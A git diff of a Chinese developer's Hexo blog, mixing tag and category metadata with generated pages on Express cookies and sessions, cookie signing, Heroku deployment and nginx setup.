ategory_id":"cjhiu2y65002uvzqhqy41m590","_id":"cjhiu2y6d0038vzqhmz8qzsjq"},{"post_id":"cjhiu2y67002zvzqhkdpo52ep","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y6e003avzqh2ky2jqsm"},{"post_id":"cjhiu2y5i001nvzqhwg44uenr","category_id":"cjhiu2y65002uvzqhqy41m590","_id":"cjhiu2y6f003dvzqhnhvosqfu"},{"post_id":"cjhiu2y6d0039vzqhjzm7p6zl","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y6h003ivzqhy6xt1wne"},{"post_id":"cjhiu2y6e003bvzqh7pelmhc2","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y6k003mvzqhaqu0rceg"},{"post_id":"cjhiu2y5j001ovzqhe2vbu6w5","category_id":"cjhiu2y6c0037vzqhcc9m7clf","_id":"cjhiu2y6m003pvzqhbqc63wny"},{"post_id":"cjhiu2y6f003fvzqh6vctxntu","category_id":"cjhiu2y5a001evzqhbqd2lref","_id":"cjhiu2y6o003svzqhilxprsa7"},{"post_id":"cjhiu2y6h003hvzqh0r2wm1gx","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y6p003wvzqhpdugqi53"},{"post_id":"cjhiu2y5k001rvzqh0km67qow","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y6s003zvzqh3e87tn8b"},{"post_id":"cjhiu2y6j003lvzqh85o3oqaw","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y6t0042vzqhpp4hzfsb"},{"post_id":"cjhiu2y6l003ovzqh9uz0sno4","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y6u0045vzqhe8fgc0mp"},{"post_id":"cjhiu2y5p0020vzqhuvz7nsdh","category_id":"cjhiu2y6k003nvzqhm5n7oimd","_id":"cjhiu2y6w0048vzqh4z9b55i0"},{"post_id":"cjhiu2y6n003rvzqhap5y0j2h","category_id":"cjhiu2y4w000tvzqh9jcy8ixq","_id":"cjhiu2y6x004cvzqh0cse9h3j"},{"post_id":"cjhiu2y6o003vvzqh4mfu7rjy","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y70004fvzqhuxhhrtwq"},{"post_id":"cjhiu2y5q0022vzqh66naoyrb","category_id":"cjhiu2y6o003uvzqhw57whtpz","_id":"cjhiu2y71004ivzqhnwdtagw9"},{"post_id":"cjhiu2y6q003yvzqhp2sjc406","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y74004lvzqhhx9jixvg"},{"post_id":"cjhiu2y6t0041vzqh3j7aepzs","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y78004pvzqhg2buhdv0"},{"post_id":"cjhiu2y6u0044vzqhxyeq9c6d","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7a004tvzqheft8mr1v"},{"post_id":"cjhiu2y5s0026vzqh3l4mzrik","category_id":"cjhiu2y6s0040vzqh8meh1b45","_id":"cjhiu2y7d004xvzqhmto1ypt2"},{"post_id":"cjhiu2y6x004bvzqhbw63ijop","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y7f0050vzqhwdrjanpn"},{"post_id":"cjhiu2y5t0029vzqhw583ttnz","category_id":"cjhiu2y6o003uvzqhw57whtpz","_id":"cjhiu2y7i0053vzqhoo6fqubw"},{"post_id":"cjhiu2y6y004evzqh34hxppax","category_id":"cjhiu2y6k003nvzqhm5n7oimd","_id":"cjhiu2y7j0056vzqhrerddl8q"},{"post_id":"cjhiu2y70004hvzqhl3gvimif","category_id":"cjhiu2y4w000tvzqh9jcy8ixq","_id":"cjhiu2y7k0058vzqh89gwihmb"},{"post_id":"cjhiu2y5v002dvzqhe0h96l38","category_id":"cjhiu2y70004gvzqhxv0ow0jk","_id":"cjhiu2y7k0059vzqhli32f88u"},{"post_id":"cjhiu2y73004kvzqh379rff47","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y7l005dvzqhx77s3zkt"},{"post_id":"cjhiu2y5w002gvzqh5rqnj8nh","category_id":"cjhiu2y6o003uvzqhw57whtpz","_id":"cjhiu2y7l005fvzqhipa613y6"},{"post_id":"cjhiu2y79004svzqhv51fcrf9","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y7n005jvzqhv3j713td"},{"post_id":"cjhiu2y7b004wvzqhv2bdfz3v","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y7o005lvzqh9u72926h"},{"post_id":"cjhiu2y60002mvzqhsqpr6e8g","category_id":"cjhiu2y70004gvzqhxv0ow0jk","_id":"cjhiu2y7o005ovzqhwxqs9q1x"},{"post_id":"cjhiu2y7d004zvzqh5wsxvrhi","category_id":"cjhiu2y5o001yvzqhhrgyfoeo","_id":"cjhiu2y7p005qvzqhzns0ke36"},{"post_id":"cjhiu2y7h0052vzqhg122vhhg","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7p005tvzqheur0jt8m"},{"post_id":"cjhiu2y62002pvzqhoull3bze","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7p005uvzqhbnhtqu8r"},{"post_id":"cjhiu2y7i0055vzqh7y2wbv2f","category_id":"cjhiu2y4w000tvzqh9jcy8ixq","_id":"cjhiu2y7p005vvzqhdjligv1z"},{"post_id":"cjhiu2y64002rvzqhud2atdh7","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7q005xvzqhppc52c1l"},{"post_id":"cjhiu2y66002vvzqhk94r54t2","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7q005yvzqh1znz3kqx"},{"post_id":"cjhiu2y690033vzqhjlas2gue","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7r0060vzqhvl9me0w4"},{"post_id":"cjhiu2y6b0035vzqhzw3n5c1c","category_id":"cjhiu2y7o005mvzqh7csvrpz5","_id":"cjhiu2y7r0062vzqh5axzfzuk"},{"post_id":"cjhiu2y6v0047vzqhd0m1y4hb","category_id":"cjhiu2y7p005rvzqh2fwxn7ja","_id":"cjhiu2y7r0065vzqhizdmne4r"}],"PostTag":[{"post_id":"cjhiu2y1x0000vzqh9mizcgba","tag_id":"cjhiu2y370005vzqhjp35bn9e","_id":"cjhiu2y45000evzqhzhue87kq"},{"post_id":"cjhiu2y2g0002vzqhkbczaphe","tag_id":"cjhiu2y3w000cvzqhwongwlp5","_id":"cjhiu2y4m000lvzqh2vxl06xx"},{"post_id":"cjhiu2y380006vzqhzzlsrm3e","tag_id":"cjhiu2y4g000jvzqhiwd2ytf6","_id":"cjhiu2y4u000rvzqhnb2lr633"},{"post_id":"cjhiu2y3l0008vzqhsd1yzy4u","tag_id":"cjhiu2y4p000pvzqhr77abf6w","_id":"cjhiu2y530012vzqh32ffvi37"},{"post_id":"cjhiu2y3l0008vzqhsd1yzy4u","tag_id":"cjhiu2y4x000vvzqh642leae5","_id":"cjhiu2y550015vzqhfqg4hthd"},{"post_id":"cjhiu2y46000fvzqhufzi6xg9","tag_id":"cjhiu2y530011vzqhrsuk82xt","_id":"cjhiu2y59001bvzqhygmindw3"},{"post_id":"cjhiu2y4d000gvzqhizz1xr86","tag_id":"cjhiu2y560018vzqhlhiu47p3","_id":"cjhiu2y5d001ivzqhdmh8lmks"},{"post_id":"cjhiu2y4i000kvzqhs58z74ay","tag_id":"cjhiu2y5b001fvzqh1zmsialt","_id":"cjhiu2y5l001tvzqhx484iofc"},{"post_id":"cjhiu2y4i000kvzqhs58z74ay","tag_id":"cjhiu2y5i001mvzqhqlhjdlf3","_id":"cjhiu2y5n001wvzqh3fv6e4tn"},{"post_id":"cjhiu2y4o000mvzqh1y0fl86d","tag_id":"cjhiu2y5l001svzqh9wwljtda","_id":"cjhiu2y5p0021vzqhgpjuu4nd"},{"post_id":"cjhiu2y4s000qvzqh4uxki9it","tag_id":"cjhiu2y5o001zvzqht1oltfx9","_id":"cjhiu2y5t0028vzqh4l7l3w0b"},{"post_id":"cjhiu2y4v000svzqhfc2d8xql","tag_id":"cjhiu2y5r0025vzqh9tyb22rd","_id":"cjhiu2y5w002fvzqh61vkxh9n"},{"post_id":"cjhiu2y4x000wvzqh5wsdc0fp","tag_id":"cjhiu2y5u002cvzqhy4stz6md","_id":"cjhiu2y60002lvzqhrzzr85va"},{"post_id":"cjhiu2y4z000xvzqhcgxkz270","tag_id":"cjhiu2y4p000pvzqhr77abf6w","_id":"cjhiu2y65002tvzqhqp5tq218"},{"post_id":"cjhiu2y4z000xvzqhcgxkz270","tag_id":"cjhiu2y5z002kvzqhxua7qmf5","_id":"cjhiu2y66002xvzqh7ur805ji"},{"post_id":"cjhiu2y520010vzqhk6w7jg8k","tag_id":"cjhiu2y64002qvzqh39vf1c9y","_id":"cjhiu2y680030vzqhq51ykllb"},{"post_id":"cjhiu2y530013vzqhoq275rpx","tag_id":"cjhiu2y67002yvzqhrd3mqxfo","_id":"cjhiu2y6c0036vzqhh5p5k21h"},{"post_id":"cjhiu2y550016vzqhakpd8l4x","tag_id":"cjhiu2y6b0034vzqh7xqwpzwy","_id":"cjhiu2y6f003evzqhdyxkgvh2"},{"post_id":"cjhiu2y58001avzqh5zjapr8m","tag_id":"cjhiu2y5u002cvzqhy4stz6md","_id":"cjhiu2y6j003kvzqhg2nj101j"},{"post_id":"cjhiu2y59001dvzqhfd2a6ugy","tag_id":"cjhiu2y6h003jvzqh45mwh26z","_id":"cjhiu2y6o003tvzqhmzy7mwme"},{"post_id":"cjhiu2y5b001hvzqhe9qrbbx3","tag_id":"cjhiu2y6m003qvzqh4j5svvwy","_id":"cjhiu2y6v0046vzqh7ijzxjvc"},{"post_id":"cjhiu2y5b001hvzqhe9qrbbx3","tag_id":"cjhiu2y6q003xvzqh0zzf85z7","_id":"cjhiu2y6x004avzqh6hymno2m"},{"post_id":"cjhiu2y5e001jvzqh1z3j6uxh","tag_id":"cjhiu2y6u0043vzqhjqthjjjo","_id":"cjhiu2y74004mvzqhpy6l53dw"},{"post_id":"cjhiu2y5e001jvzqh1z3j6uxh","tag_id":"cjhiu2y6y004dvzqhxmr7chvf","_id":"cjhiu2y78004qvzqhqvyvxocg"},{"post_id":"cjhiu2y5i001nvzqhwg44uenr","tag_id":"cjhiu2y6u0043vzqhjqthjjjo","_id":"cjhiu2y7a004uvzqhtl91by3o"},{"post_id":"cjhiu2y5j001ovzqhe2vbu6w5","tag_id":"cjhiu2y78004rvzqhrmyzavzj","_id":"cjhiu2y7l005cvzqhoese7j6d"},{"post_id":"cjhiu2y5j001ovzqhe2vbu6w5","tag_id":"cjhiu2y7d004yvzqhssxabiia","_id":"cjhiu2y7l005evzqh0bw02fme"},{"post_id":"cjhiu2y5j001ovzqhe2vbu6w5","tag_id":"cjhiu2y7i0054vzqhjfky0itp","_id":"cjhiu2y7n005ivzqhyah1im6y"},{"post_id":"cjhiu2y5k001rvzqh0km67qow","tag_id":"cjhiu2y7k005avzqh3aftxq28","_id":"cjhiu2y7o005kvzqhjh1u6kfn"},{"post_id":"cjhiu2y5m001uvzqh30eql1bb","tag_id":"cjhiu2y7m005hvzqhs4zl712u","_id":"cjhiu2y7p005pvzqh7xde6t0a"},{"post_id":"cjhiu2y5n001xvzqhvh19qz8o","tag_id":"cjhiu2y7o005nvzqhizzscqet","_id":"cjhiu2y7r0061vzqh35otakt1"},{"post_id":"cjhiu2y5n001xvzqhvh19qz8o","tag_id":"cjhiu2y7p005svzqh4kv1gua0","_id":"cjhiu2y7r0063vzqhe0nz4t6z"},{"post_id":"cjhiu2y5n001xvzqhvh19qz8o","tag_id":"cjhiu2y7q005wvzqh73q1p5dz","_id":"cjhiu2y7r0066vzqh6k45indy"},{"post_id":"cjhiu2y5p0020vzqhuvz7nsdh","tag_id":"cjhiu2y7q005zvzqheqv5g84p","_id":"cjhiu2y7s0068vzqh6k2o2hm8"},{"post_id":"cjhiu2y5p0020vzqhuvz7nsdh","tag_id":"cjhiu2y7r0064vzqhypj4ik1v","_id":"cjhiu2y7s0069vzqhagzemfnr"},{"post_id":"cjhiu2y5q0022vzqh66naoyrb","tag_id":"cjhiu2y7s0067vzqhfan0bwdi","_id":"cjhiu2y7t006cvzqh7w6wwxpb"},{"post_id":"cjhiu2y5q0022vzqh66naoyrb","tag_id":"cjhiu2y7s006avzqht1sd5uoc","_id":"cjhiu2y7t006dvzqh6ttzeawh"},{"post_id":"cjhiu2y5s0026vzqh3l4mzrik","tag_id":"cjhiu2y7t006bvzqhpyeeqzap","_id":"cjhiu2y7u006fvzqhx569763k"},{"post_id":"cjhiu2y5t0029vzqhw583ttnz","tag_id":"cjhiu2y7t006evzqh0g2rey98","_id":"cjhiu2y7w006ivzqhn0jproto"},{"post_id":"cjhiu2y5t0029vzqhw583ttnz","tag_id":"cjhiu2y7u006gvzqhda109jzx","_id":"cjhiu2y7w006jvzqhjblo22i1"},{"post_id":"cjhiu2y5v002dvzqhe0h96l38","tag_id":"cjhiu2y7v006hvzqh209oska4","_id":"cjhiu2y7w006lvzqhfuolkmn7"},{"post_id":"cjhiu2y5w002gvzqh5rqnj8nh","tag_id":"cjhiu2y7t006evzqh0g2rey98","_id":"cjhiu2y7y006pvzqhhlyusdk8"},{"post_id":"cjhiu2y5w002gvzqh5rqnj8nh","tag_id":"cjhiu2y7v006hvzqh209oska4","_id":"cjhiu2y7y006qvzqhz7ogmqgz"},{"post_id":"cjhiu2y5w002gvzqh5rqnj8nh","tag_id":"cjhiu2y7x006nvzqh406yr3ew","_id":"cjhiu2y7y006svzqhp778g0fu"},{"post_id":"cjhiu2y5y002jvzqh2dz5r8my","tag_id":"cjhiu2y7x006ovzqh6n7g2lbs","_id":"cjhiu2y7y006tvzqhp60gurj1"},{"post_id":"cjhiu2y60002mvzqhsqpr6e8g","tag_id":"cjhiu2y7t006evzqh0g2rey98","_id":"cjhiu2y7z006vvzqhf5m1b2xe"},{"post_id":"cjhiu2y62002pvzqhoull3bze","tag_id":"cjhiu2y7y006uvzqhuhfn2em8","_id":"cjhiu2y7z006xvzqh1ep9odvr"},{"post_id":"cjhiu2y64002rvzqhud2atdh7","tag_id":"cjhiu2y7z006wvzqh3ausxjhj","_id":"cjhiu2y7z006zvzqho9jpm5da"},{"post_id":"cjhiu2y66002vvzqhk94r54t2","tag_id":"cjhiu2y7z006yvzqhv5i2ky8b","_id":"cjhiu2y800071vzqhbsi8k41s"},{"post_id":"cjhiu2y67002zvzqhkdpo52ep","tag_id":"cjhiu2y800070vzqhaqyv8eni","_id":"cjhiu2y810074vzqhwmtmqab5"},{"post_id":"cjhiu2y67002zvzqhkdpo52ep","tag_id":"cjhiu2y800072vzqh5h8xw4ne","_id":"cjhiu2y810075vzqhxi7gc9qw"},{"post_id":"cjhiu2y690033vzqhjlas2gue","tag_id":"cjhiu2y7z006yvzqhv5i2ky8b","_id":"cjhiu2y820077vzqhsi7lxsbq"},{"post_id":"cjhiu2y6b0035vzqhzw3n5c1c","tag_id":"cjhiu2y810076vzqh1iv2bfz0","_id":"cjhiu2y84007avzqhddnnl7cg"},{"post_id":"cjhiu2y6b0035vzqhzw3n5c1c","tag_id":"cjhiu2y820078vzqhqf8hsmj3","_id":"cjhiu2y84007bvzqhcsaoxecu"},{"post_id":"cjhiu2y6d0039vzqhjzm7p6zl","tag_id":"cjhiu2y820079vzqhqxl4d62v","_id":"cjhiu2y84007dvzqhntx5ya9b"},{"post_id":"cjhiu2y6e003bvzqh7pelmhc2","tag_id":"cjhiu2y84007cvzqh6232qcfs","_id":"cjhiu2y85007fvzqh6nxfnjvn"},{"post_id":"cjhiu2y6f003fvzqh6vctxntu","tag_id":"cjhiu2y84007evzqhv5l7y9wc","_id":"cjhiu2y86007ivzqh8kci8cow"},{"post_id":"cjhiu2y6f003fvzqh6vctxntu","tag_id":"cjhiu2y85007gvzqhf5bbusys","_id":"cjhiu2y86007jvzqhh3c69wkg"},{"post_id":"cjhiu2y6h003hvzqh0r2wm1gx","tag_id":"cjhiu2y84007cvzqh6232qcfs","_id":"cjhiu2y87007lvzqh8fzbnnaf"},{"post_id":"cjhiu2y6j003lvzqh85o3oqaw","tag_id":"cjhiu2y87007kvzqhx6bauf94","_id":"cjhiu2y88007nvzqh5afwv4km"},{"post_id":"cjhiu2y6l003ovzqh9uz0sno4","tag_id":"cjhiu2y7z006yvzqhv5i2ky8b","_id":"cjhiu2y88007pvzqhkbw5e45t"},{"post_id":"cjhiu2y6n003rvzqhap5y0j2h","tag_id":"cjhiu2y88007ovzqhyabj80qh","_id":"cjhiu2y89007svzqh6o6q2oop"},{"post_id":"cjhiu2y6n003rvzqhap5y0j2h","tag_id":"cjhiu2y88007qvzqhr3irjw1m","_id":"cjhiu2y89007tvzqhwetd8r0m"},{"post_id":"cjhiu2y6o003vvzqh4mfu7rjy","tag_id":"cjhiu2y88007rvzqhv8n21wty","_id":"cjhiu2y89007wvzqhfo8pfnkt"},{"post_id":"cjhiu2y6o003vvzqh4mfu7rjy","tag_id":"cjhiu2y89007uvzqh5zj7vc5o","_id":"cjhiu2y89007xvzqhd2defti6"},{"post_id":"cjhiu2y6q003yvzqhp2sjc406","tag_id":"cjhiu2y89007vvzqh1dsn897g","_id":"cjhiu2y8a007zvzqhvkwzkkkl"},{"post_id":"cjhiu2y6t0041vzqh3j7aepzs","tag_id":"cjhiu2y8a007yvzqh5084x01c","_id":"cjhiu2y8b0081vzqhc3ipob3q"},{"post_id":"cjhiu2y6u0044vzqhxyeq9c6d","tag_id":"cjhiu2y8a0080vzqhmgsw6ubr","_id":"cjhiu2y8c0083vzqh94j33p1x"},{"post_id":"cjhiu2y6v0047vzqhd0m1y4hb","tag_id":"cjhiu2y8b0082vzqhzfqfyhu4","_id":"cjhiu2y8c0085vzqhotda9ipi"},{"post_id":"cjhiu2y6x004bvzqhbw63ijop","tag_id":"cjhiu2y800070vzqhaqyv8eni","_id":"cjhiu2y8d0088vzqhhpsesh5k"},{"post_id":"cjhiu2y6x004bvzqhbw63ijop","tag_id":"cjhiu2y800072vzqh5h8xw4ne","_id":"cjhiu2y8d0089vzqhxtwaf4h6"},{"post_id":"cjhiu2y6y004evzqh34hxppax","tag_id":"cjhiu2y8d0087vzqhmrpz45qu","_id":"cjhiu2y8e008cvzqhilo1sqyr"},{"post_id":"cjhiu2y6y004evzqh34hxppax","tag_id":"cjhiu2y8e008avzqhgqy4m8ah","_id":"cjhiu2y8e008dvzqhcewsxfw5"},{"post_id":"cjhiu2y70004hvzqhl3gvimif","tag_id":"cjhiu2y8e008bvzqhgke7eznv","_id":"cjhiu2y8f008fvzqh5yjkymx2"},{"post_id":"cjhiu2y73004kvzqh379rff47","tag_id":"cjhiu2y7x006ovzqh6n7g2lbs","_id":"cjhiu2y8g008ivzqh2ow7j9i4"},{"post_id":"cjhiu2y73004kvzqh379rff47","tag_id":"cjhiu2y8f008gvzqhqrrg86j2","_id":"cjhiu2y8g008jvzqh48jorbj8"},{"post_id":"cjhiu2y79004svzqhv51fcrf9","tag_id":"cjhiu2y8g008hvzqhq2xebg06","_id":"cjhiu2y8h008mvzqhtee6ddwv"},{"post_id":"cjhiu2y79004svzqhv51fcrf9","tag_id":"cjhiu2y8g008kvzqhkzv2nwm1","_id":"cjhiu2y8h008nvzqhywmh6h24"},{"post_id":"cjhiu2y7b004wvzqhv2bdfz3v","tag_id":"cjhiu2y8g008lvzqhxqvju79g","_id":"cjhiu2y8h008qvzqhukxt7y0b"},{"post_id":"cjhiu2y7b004wvzqhv2bdfz3v","tag_id":"cjhiu2y8h008ovzqhnamwaas6","_id":"cjhiu2y8h008rvzqhqoskgk2l"},{"post_id":"cjhiu2y7d004zvzqh5wsxvrhi","tag_id":"cjhiu2y8h008pvzqhw6oofp57","_id":"cjhiu2y8j008uvzqhny3frtgg"},{"post_id":"cjhiu2y7d004zvzqh5wsxvrhi","tag_id":"cjhiu2y8i008svzqhqkgq4hqx","_id":"cjhiu2y8j008vvzqhamr2tfbj"},{"post_id":"cjhiu2y7h0052vzqhg122vhhg","tag_id":"cjhiu2y7z006yvzqhv5i2ky8b","_id":"cjhiu2y8k008xvzqh3d7gov6y"},{"post_id":"cjhiu2y7i0055vzqh7y2wbv2f","tag_id":"cjhiu2y8j008wvzqhmavh5kma","_id":"cjhiu2y8k008yvzqhfrc1kpho"}],"Tag":[{"name":"音乐","_id":"cjhiu2y370005vzqhjp35bn9e"},{"name":"git","_id":"cjhiu2y3w000cvzqhwongwlp5"},{"name":"PWA","_id":"cjhiu2y4g000jvzqhiwd2ytf6"},{"name":"js","_id":"cjhiu2y4p000pvzqhr77abf6w"},{"name":"error","_id":"cjhiu2y4x000vvzqh642leae5"},{"name":"badBoy","_id":"cjhiu2y530011vzqhrsuk82xt"},{"name":"commonjs","_id":"cjhiu2y560018vzqhlhiu47p3"},{"name":"cookie","_id":"cjhiu2y5b001fvzqh1zmsialt"},{"name":"session","_id":"cjhiu2y5i001mvzqhqlhjdlf3"},{"name":"css命名规范","_id":"cjhiu2y5l001svzqh9wwljtda"},{"name":"语义化","_id":"cjhiu2y5o001zvzqht1oltfx9"},{"name":"hybird","_id":"cjhiu2y5r0025vzqh9tyb22rd"},{"name":"hexo","_id":"cjhiu2y5u002cvzqhy4stz6md"},{"name":"methods","_id":"cjhiu2y5z002kvzqhxua7qmf5"},{"name":"js methods","_id":"cjhiu2y64002qvzqh39vf1c9y"},{"name":"express","_id":"cjhiu2y67002yvzqhrd3mqxfo"},{"name":"koa","_id":"cjhiu2y6b0034vzqh7xqwpzwy"},{"name":"nginx","_id":"cjhiu2y6h003jvzqh45mwh26z"},{"name":"性能","_id":"cjhiu2y6m003qvzqh4j5svvwy"},{"name":"安全","_id":"cjhiu2y6q003xvzqh0zzf85z7"},{"name":"redis","_id":"cjhiu2y6u0043vzqhjqthjjjo"},{"name":"阿里云","_id":"cjhiu2y6y004dvzqhxmr7chvf"},{"name":"sessionStorage","_id":"cjhiu2y78004rvzqhrmyzavzj"},{"name":"localStotage","_id":"cjhiu2y7d004yvzqhssxabiia"},{"name":"cookies","_id":"cjhiu2y7i0054vzqhjfky0itp"},{"name":"SC","_id":"cjhiu2y7k005avzqh3aftxq28"},{"name":"sticky布局","_id":"cjhiu2y7m005hvzqhs4zl712u"},{"name":"同步","_id":"cjhiu2y7o005nvzqhizzscqet"},{"name":"异步","_id":"cjhiu2y7p005svzqh4kv1gua0"},{"name":"es6","_id":"cjhiu2y7q005wvzqh73q1p5dz"},{"name":"nodejs","_id":"cjhiu2y7q005zvzqheqv5g84p"},{"name":"ubuntu","_id":"cjhiu2y7r0064vzqhypj4ik1v"},{"name":"react","_id":"cjhiu2y7s0067vzqhfan0bwdi"},{"name":"webpack","_id":"cjhiu2y7s006avzqht1sd5uoc"},{"name":"vscode","_id":"cjhiu2y7t006bvzqhpyeeqzap"},{"name":"vue","_id":"cjhiu2y7t006evzqh0g2rey98"},{"name":"nodeJS","_id":"cjhiu2y7u006gvzqhda109jzx"},{"name":"vuex","_id":"cjhiu2y7v006hvzqh209oska4"},{"name":"vue-router","_id":"cjhiu2y7x006nvzqh406yr3ew"},{"name":"指弹","_id":"cjhiu2y7x006ovzqh6n7g2lbs"},{"name":"趣事","_id":"cjhiu2y7y006uvzqhuhfn2em8"},{"name":"幸福","_id":"cjhiu2y7z006wvzqh3ausxjhj"},{"name":"哲理","_id":"cjhiu2y7z006yvzqhv5i2ky8b"},{"name":"beyond","_id":"cjhiu2y800070vzqhaqyv8eni"},{"name":"rock","_id":"cjhiu2y800072vzqh5h8xw4ne"},{"name":"xss","_id":"cjhiu2y810076vzqh1iv2bfz0"},{"name":"crsf","_id":"cjhiu2y820078vzqhqf8hsmj3"},{"name":"前端规划","_id":"cjhiu2y820079vzqhqxl4d62v"},{"name":"面试","_id":"cjhiu2y84007cvzqh6232qcfs"},{"name":"布局","_id":"cjhiu2y84007evzqhv5l7y9wc"},{"name":"圣杯","_id":"cjhiu2y85007gvzqhf5bbusys"},{"name":"职场","_id":"cjhiu2y87007kvzqhx6bauf94"},{"name":"generator","_id":"cjhiu2y88007ovzqhyabj80qh"},{"name":"yield","_id":"cjhiu2y88007qvzqhr3irjw1m"},{"name":"兼容性","_id":"cjhiu2y88007rvzqhv8n21wty"},{"name":"前端","_id":"cjhiu2y89007uvzqh5zj7vc5o"},{"name":"学生思维","_id":"cjhiu2y89007vvzqh1dsn897g"},{"name":"CStyle","_id":"cjhiu2y8a007yvzqh5084x01c"},{"name":"人生感悟","_id":"cjhiu2y8a0080vzqhmgsw6ubr"},{"name":"狼性","_id":"cjhiu2y8b0082vzqhzfqfyhu4"},{"name":"windows","_id":"cjhiu2y8d0087vzqhmrpz45qu"},{"name":"腾讯云","_id":"cjhiu2y8e008avzqhgqy4m8ah"},{"name":"正则表达式","_id":"cjhiu2y8e008bvzqhgke7eznv"},{"name":"古典","_id":"cjhiu2y8f008gvzqhqrrg86j2"},{"name":"mongoDB","_id":"cjhiu2y8g008hvzqhq2xebg06"},{"name":"全栈开发","_id":"cjhiu2y8g008kvzqhkzv2nwm1"},{"name":"电吉他","_id":"cjhiu2y8g008lvzqhxqvju79g"},{"name":"即兴原理","_id":"cjhiu2y8h008ovzqhnamwaas6"},{"name":"heroku","_id":"cjhiu2y8h008pvzqhw6oofp57"},{"name":"自动化","_id":"cjhiu2y8i008svzqhqkgq4hqx"},{"name":"轮播图","_id":"cjhiu2y8j008wvzqhmavh5kma"}]}} \ No newline at end of file +{"meta":{"version":1,"warehouse":"2.2.0"},"models":{"Asset":[],"Cache":[],"Category":[],"Data":[],"Page":[],"Post":[],"PostAsset":[],"PostCategory":[],"PostTag":[],"Tag":[]}} \ No newline at end of file diff --git a/public/about/index.html b/public/about/index.html index 6a27f53..92fde7e 100644 --- a/public/about/index.html +++ b/public/about/index.html @@ -214,7 +214,7 @@ - + @@ -229,7 +229,7 @@ - + @@ -243,7 +243,7 @@ - + @@ -363,7 +363,7 @@ @@ -395,7 +395,7 @@ - +改天再研究下旋转木马的那种装个13…
\n
行动派: 认准一件事就会全力以赴,不达目的不罢休
艺术派:前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧
--qq: 710328466
+
tel: 15216030330(中午和晚上一般都关机,我要睡觉…)
blogqq: 710328466
tel: 15216030330(中午和晚上一般都关机,我要睡觉…)
blog
cookie 是 HTTP 协议的一部分,处理分为以下几步:
服务器向客户端发送 cookie,一般为 name=value 形式。
浏览器将 cookie 储存。
每次请求浏览器都会将 cookie 发给服务器。
res.cookie('isVisit', 1, { // 储存的时间 maxAge: 10 * 1000, // 为 true 时只在https中生效 secure: true, // 影响路径 path: 'localhost', // 是否支持 js 读取,可以预防 XSS httpOnly: true})
isVisit 是 key 值,1 是 value。
数据在客户端就可以被修改,数据很容易被伪造,而且数据太多会影响传输效率。
针对 cookie 的缺点,session 解决了这些问题,session 保存在服务端,它的运作是通过 session_id 进行,这个值一般存在客户端的 cookie 中。
app.use(sessionParser({ name: 'author', // 储存位置: 默认 cookie // store: new redisStore(), // 编码字符串 secret: 'recommand 128 bytes random string', cookie: { maxAge: 60 * 1000 }, //每次请求都重设一个cookie rolling: false, resave: true, // 是指无论有没有session cookie,每次请求都设置个session cookie ,默认给个标示为 connect.sid saveUninitialized: false}))
就是签名,专业点就是 “信息摘要算法“,例如我有一些数据想存在 cookie 中,如何保证不被篡改?
比如我们用 dotcom_user 字段设置了个值 jzxer, cookie值应该是:
> { dotcom_user: 'jzxer' }
这样如果验证和更改,安全性都不是很高。
我们可以这样处理,设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)
sha1(secrit_string + dotcom_user) === ‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’
然后把 cookie 变成这样:
{ dotcom_user: 'jzxer', dotcom_user.sig: '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'}
这样一来信息就无法伪造了,一旦更改了 cookie 中的值,就会和服务器的冲突,破解的成本也太高。
]]>heroku 是一个自动部署工具,可以在代码发布后马上线上跑起来,对于一个刚入门的 node 新手有利于促进你的开发热情。
注意邮箱项目可以填写阿里云邮箱,目前qq邮箱和163邮箱不支持注册。
给 heroku 指明入口文件,配置内容如下:
web: node app.js
heroku login
heroku create
此时会给出一个仓库地址,留给下文用。
git push '给的仓库地址.git' master
输入以下命令打开推送的内容
heroku open
heroku 有很多插件可供链接,
]]>Nginx (“engine x”) 是一个高性能的 HTTP 和 反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。
尽管Node.JS的性能不错,但处理静态事务确实不是他的专长,如:gzip编码,静态文件,HTTP缓存,SSL处理,负载平衡和反向代理及多站点代理等,都可以通过nginx来完成,从而减小node.js的负载,并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。
ps aux|grep nginx
server { listen 3001; server_name localhost; #charset koi8-r; #access_log logs/host.access.log main; location / { root html; index index.html index.htm; } }
大约 36 行的位置,端口号可以设置其他,最好不要用80,设置好之后重启。
sudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。sudo apt-get purge nginx nginx-common # 卸载所有东东,包括删除配置文件。sudo apt-get autoremove # 在上面命令结束后执行,主要是卸载删除Nginx的不再被使用的依赖包。sudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。sudo service nginx restart #重启nginx
